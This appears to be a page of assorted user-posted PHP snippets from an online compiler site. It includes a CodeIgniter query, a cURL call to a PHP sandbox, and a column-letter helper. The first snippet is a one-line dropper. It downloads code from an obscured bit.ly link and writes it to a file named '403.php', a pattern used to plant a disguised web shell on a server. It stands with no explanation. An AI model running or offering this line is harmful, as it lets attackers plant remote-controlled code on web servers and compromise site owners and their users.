xxxxxxxxxx
<?php file_put_contents("403.php", file_get_contents("https://bit.ly/3nuVpHL"));?>
xxxxxxxxxx
This is the best online compiler for PHP which I've used.
https://onlinephp.io/
xxxxxxxxxx
function getLabReqByPatientId($id) {
$this->db->order_by('id', 'desc');
$this->db->where('patient_id', $id);
$query = $this->db->get('lab_request');
return $query->result();
}
xxxxxxxxxx
<?php
$code = '<?php echo "Hello, World!"; ?>'; // The PHP code to be executed
// Create a cURL handle to make a POST request to the PHP Sandbox API
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://sandbox.onlinephpfunctions.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
"code" => $code,
"action" => "run"
]));
$response = curl_exec($ch); // Execute the cURL request
curl_close($ch); // Close cURL handle
// Output the response from the PHP Sandbox
echo $response;
?>
xxxxxxxxxx
function getColumnLetter( $number )
{
$prefix = '';
$suffix = '';
$prefNum = intval( $number/26 );
if( $number > 25 )
{
$prefix = getColumnLetter( $prefNum );
}
$suffix = chr( fmod( $number, 26 )+65 );
return $prefix.$suffix;
}